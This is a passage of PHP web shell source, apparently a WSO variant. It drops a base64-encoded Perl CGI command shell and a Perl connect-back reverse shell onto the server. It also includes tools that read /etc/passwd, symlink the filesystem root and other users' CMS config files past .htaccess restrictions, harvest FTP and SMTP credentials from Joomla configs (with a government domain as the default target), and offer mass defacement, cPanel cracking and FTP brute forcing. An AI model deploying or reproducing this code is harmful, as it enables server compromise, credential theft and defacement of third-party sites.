9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KDQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==
1562';
1563 $file = fopen("cgi.cin", "w+");
1564 $write = fwrite($file, base64_decode($cgishellizocin));
1565 fclose($file);
1566 chmod("cgi.cin", 0755);
1567 $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
1568MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
1569ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
1570MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
1571ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
1572MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
1573Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
1574KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
1575SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
1576ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
1577UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
1578VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
1579ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
1580JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
1581bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
1582ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
1583YXRhY2hlZFxuXG4iOw==';
1584 $file = fopen("dc.pl", "w+");
1585 $write = fwrite($file, base64_decode($netcatshell));
1586 fclose($file);
1587 chmod("dc.pl", 0755);
1588 echo "<iframe src=cgi-telnet/cgi.cin width=100% height=100% frameborder=0></iframe> ";
1589 echo '</div>';
1590 wsoFooter();
1591 }
1592 ##################### Tools #########################
1593 function actiontools() {
1594 wsoHeader();
1595 echo '
1596<center>
1597<a href=# onclick="g(\'mass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Folders Mass Defacer ]</a><br><br>
1598<a href=# onclick="g(\'config\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Config Grabber ]</a><br><br>
1599<a href=# onclick="g(\'configsh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Config Killer ]</a><br><br>
1600<a href=# onclick="g(\'zoneh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Zone-h Poster ]</a><br><br>
1601<a href=# onclick="g(\'ftpsmtp\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ FTP And SMTP Config Grabber ]</a><br><br>
1602<a href=# onclick="g(\'Php\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ PHP Exec ]</a><br><br>
1603<a href=# onclick="g(\'userchecker\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Web Site Username Checker ]</a><br><br>
1604<a href=# onclick="g(\'cpcrack\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Cpanel Cracker ]</a><br><br>
1605<a href=# onclick="g(\'lfiscan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ LFI ]</a><br><br>
1606<a href=# onclick="g(\'BruteForce\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ FTP BrutForce ]</a><br><br>
1607<a href=# onclick="g(\'sub\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Sub Domain Checker ]</a><br><br>
1608<a href=# onclick="g(\'shellfind\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Shell Finder ]</a><br><br>
1609';
1610 wsoFooter();
1611 }
1612 #################### Config Killer #################
1613 function actionconfigsh() {
1614 wsoHeader();
1615 echo '
1616<center><h1>Config Killer</h1>
1617<center><form method=post><font color=white size=2 face="comic sans ms">Creat PHP.ini To Bypass Disbale Functions</font><p>
1618<center><input type="hidden" name="a" value="configsh"><input type=submit name=ini value="PHP.ini" /></form>
1619<center><form method=post><font color=white size=2 face="comic sans ms">Extract Username To Symlink</font><p>
1620 <cente><input type="hidden" name="a" value="configsh"><input type=submit name="usre" value="Extract Usernames" /></form><br>';
1621 if (isset($_POST['ini'])) {
1622 $r = fopen('php.ini', 'w');
1623 $rr = " disbale_functions=none ";
1624 fwrite($r, $rr);
1625 $link = "<br><a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>PHP.INI</u></font></a>";
1626 echo $link;
1627 }
1628?>
1629
1630
1631 <?php
1632 if (isset($_POST['usre'])) {
1633?><form method=post>
1634 <textarea rows=10 cols=50 name=user><?php $users = file("/etc/passwd");
1635 foreach ($users as $user) {
1636 $str = explode(":", $user);
1637 echo $str[0] . "
1638";
1639 }
1640?></textarea><br><br>
1641 <input type="hidden" name="a" value="configsh"><input type=submit name=su value="Get Symlink !" /></form>
1642 <?php
1643 } ?>
1644 <?php
1645 error_reporting(0);
1646 echo "<font size=2 face=\"comic sans ms\">";
1647 if (isset($_POST['su'])) {
1648 mkdir('phdz-root2', 0777);
1649 $rr = " Options all
1650 DirectoryIndex Sux.html
1651 AddType text/plain .php
1652 AddHandler server-parsed .php
1653 AddType text/plain .html
1654 AddHandler txt .html
1655 Require None
1656 Satisfy Any";
1657 $g = fopen('phdz-root2/.htaccess', 'w');
1658 fwrite($g, $rr);
1659 $indishell = symlink("/", "phdz-root2/root");
1660 $rt = "<a href=phdz-root2/root><font color=white size=3 face=\"comic sans ms\"> Root</font></a>";
1661 echo " [+] Root Symlink<br><u>$rt</u>";
1662 $dir = mkdir('phdz-config2', 0777);
1663 $r = " Options all
1664 DirectoryIndex Sux.html
1665 AddType text/plain .php
1666 AddHandler server-parsed .php
1667 AddType text/plain .html
1668 AddHandler txt .html
1669 Require None
1670 Satisfy Any";
1671 $f = fopen('phdz-config2/.htaccess', 'w');
1672 fwrite($f, $r);
1673 $consym = "<a href=phdz-config2/><font color=white size=3 face=\"comic sans ms\">Configs</font></a>";
1674 echo "<br>[+] Config Grabbed<br><u><font size=2 face=\"comic sans ms\">$consym</font></u>";
1675 $usr = explode("
1676", $_POST['user']);
1677 $configuration = array("wp-config.php", "wordpress/wp-config.php", "configuration.php", "blog/wp-config.php", "joomla/configuration.php", "vb/includes/config.php", "includes/config.php", "conf_global.php", "inc/config.php", "config.php", "Settings.php", "sites/default/settings.php", "whm/configuration.php", "whmcs/configuration.php", "support/configuration.php", "whmc/WHM/configuration.php", "whm/WHMCS/configuration.php", "whm/whmcs/configuration.php", "support/configuration.php", "clients/configuration.php", "client/configuration.php", "clientes/configuration.php", "cliente/configuration.php", "clientsupport/configuration.php", "billing/configuration.php", "admin/config.php");
1678 foreach ($usr as $uss) {
1679 $us = trim($uss);
1680 foreach ($configuration as $c) {
1681 $rs = "/home/" . $us . "/public_html/" . $c;
1682 $r = "phdz-config2/" . $us . " .. " . $c;
1683 symlink($rs, $r);
1684 }
1685 }
1686 }
1687 wsoFooter();
1688 }
1689 #################### FTP SMTP ####################
1690 function actionftpsmtp() {
1691 wsoHeader();
1692?>
1693<center>
1694<h1><b>FTP And SMTP Configs Grabber</b></h1>
1695<FORM action="" method="post">
1696<input type="hidden" name="form_action" value="1">
1697<table border=1>
1698<tr><td><span>Configs Link :</span></td><td><input type="text" size="60" name="url" value="www.gov.dz/phdz-config/"></td></tr>
1699</table>
1700<br>
1701<input type="hidden" name="a" value="ftpsmtp"><INPUT class=submit type="submit" value=">>" >
1702</FORM>
1703</font>
1704</center>
1705</body>
1706</html>
1707<?
1708if (array_key_exists('form_action', $_POST)){
1709echo('<center><br><br>');
1710echo "<span>";
1711
1712echo "[] Getting Config URL : [] ".$_POST['url'];
1713$url1=file_get_contents($_POST['url']);
1714$ar = explode('<li><a href="', $url1);
1715for($vi=2;$vi < count($ar);$vi++)
1716 {
1717
1718$var1 = strtok($ar[$vi], " ");
1719$var1 = substr($var1,0,-2);
1720$link = $url1.$var1;
1721$filename = 'jftp.txt';
1722$fp = fopen($filename, "a+");
1723$write = fputs($fp, $var1."
1724");
1725fclose($fp);
1726}
1727echo "<br>";
1728echo "[] Collected All Config Names []";
1729echo "<br>";
1730echo "[] Seperating Joomla Configs []";
1731echo "<br>";
1732$joomconfigs=file('jftp.txt');
1733ini_set("display_errors", "0");
1734set_time_limit(0);
1735foreach ($joomconfigs as $joomconfig) {
1736$pos = strpos($joomconfig,"oomla");
1737if($pos === false) {
1738$filename = 'others.txt';
1739$fp = fopen($filename, "a+");
1740$write = fputs($fp, $joomconfig."
1741");
1742fclose($fp);
1743}
1744else {
1745$filename = 'joomla.txt';
1746$fp = fopen($filename, "a+");
1747$write = fputs($fp, $joomconfig."
1748");
1749fclose($fp);
1750}
1751}
1752unlink ('jftp.txt');
1753unlink ('others.txt');
1754echo "[] Joomla Configs Seperated []";
1755echo "<br>";
1756echo "[] Scanning JOOMLA FTP Credentials []";
1757echo "<br>";
1758echo ("<center><table border=1 cellspacing=1 cellpading=1>
1759<tr><th width='400'><span>SMTP DETAILS</span></th><th width=200><span>FTP Host</span></th> <th width=150><span>FTP Username</span></td><th width=150><span>FTP Password</span></td><th width=100><span>ENABLED</span></td></tr>");
1760
1761$getconfig=file('joomla.txt');
1762foreach ($getconfig as $gconfig) {
1763$strlengconfig=strlen($gconfig);
1764if ($strlengconfig > 2) {
1765$urltoconfig=$_POST['url']."/".$gconfig;
1766$getconfig=file_get_contents($urltoconfig);
1767$ftphost=entre2v2($getconfig,"ftp_host = '","';");
1768$ftpuser=entre2v2($getconfig,"ftp_user = '","';");
1769$ftppass=entre2v2($getconfig,"ftp_pass = '","';");
1770$ftpenable=entre2v2($getconfig,"ftp_enable = '","';");
1771$smtpuser=entre2v2($getconfig,"smtpuser = '","';");
1772$smtppass=entre2v2($getconfig,"smtppass = '","';");
1773$smtphost=entre2v2($getconfig,"smtphost = '","';");
1774$smtpport=entre2v2($getconfig,"smtpport = '","';");
1775
1776if ($ftpenable==1){
1777$ftpenabled="YES";
1778echo "<center><table border=1 cellspacing=1 cellpading=1>
1779<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br> </font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='green' face='courier new'> $ftpenabled </font></td></tr></table></center>";
1780}
1781else {
1782$ftpenabled="NO";
1783echo "<center><table border=1 cellspacing=1 cellpading=1>
1784<tr><td width='400'><font color='green' face='courier new' > host=$smtphost <br> port=$smtpport <br> user=$smtpuser <br> pass=$smtppass <br></font></td><td width=200><font color='green' face='courier new' > $ftphost </font></td><td width=150><font color='green' face='courier new'> $ftpuser<font></td><td width=150><font color='green' face='courier new'> $ftppass</font></td><td width=100><font color='red' face='courier new'> $ftpenabled </font></td></tr></table></center>";
1785}
1786}
1787}
1788
1789echo"</font>";
1790echo('</center>');
1791unlink ('joomla.txt');
1792}
1793function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
1794 $ar0=explode($marqueurDebutLien, $text);
1795 $ar1=explode($marqueurFinLien, $ar0[$i]);
1796 return trim($ar1[0]);
1797}
1798wsoFooter(); }
1799######################### Web Site Username Checker ##########################
1800function actionuserchecker() {
1801wsoHeader();
1802echo' <center><h1>Web Site Username Checker</h1><br><br>
1803 </center>
1804 </center>
1805 <form method="post"><center>
1806 <input type="text" name="si" value="http://www.gov.dz/"><br />
1807 <input type="hidden" name="a" value="userchecker"><input type="submit" name="b0x" value=">>" ><br></form>
1808 ';
1809 $fo = $_POST['si'];
1810 $fo2 = $fo;
1811 $strlen = strlen($fo2);
1812 $fo2 = replace($fo2);
1813 for($i=0;$i<=$strlen;$i++)
1814 {
1815 $words[] = substr($fo2 ,0 ,$i);
1816 }
1817
1818 foreach($words as $users)
1819 {
1820 echo $users."<br>";
1821 if($_POST['b0x'])
1822 {
1823 cURL($fo,$users);
1824 }
1825 }
1826
1827 function cURL($fo,$users)
1828 {
1829 $curl = curl_init();
1830 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1831 curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1832 curl_setopt($curl,CURLOPT_URL, $fo."/cgi-sys/guestbook.cgi?user={$users}");
1833 $start = curl_exec($curl);
1834 if(!eregi("Invalid username", $start))
1835 {
1836 echo "<font face='Tahoma' size='2' color='red'><b>{$users}</b></font><br>";
1837 }
1838 return $start;
1839 }
1840
1841 function replace($fo)
1842 {
1843 $search = array('http://','https://','.','-','/','www');
1844 $str = str_replace($search , "", $fo);
1845 return $str;
1846 }
1847wsoFooetr(); }
1848####################### sub domain #######################
1849function actionsub() {
1850wsoHeader();
1851echo '<br><center><h1>Subdomain Checker</h1><center><br>';
1852echo'<html><body><center></br>
1853<form method="post">
1854<input type="text" name="site" size="20" placeholder="www.site.com">
1855<input type="hidden" name="a" value="sub"><input type="submit" value="Check it Please !">
1856</form>
1857</font>';
1858echo '<br><center><span>( Delete http:// )</span><center><br>';
1859set_time_limit(0);
1860$subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","dir","directory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimedia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netda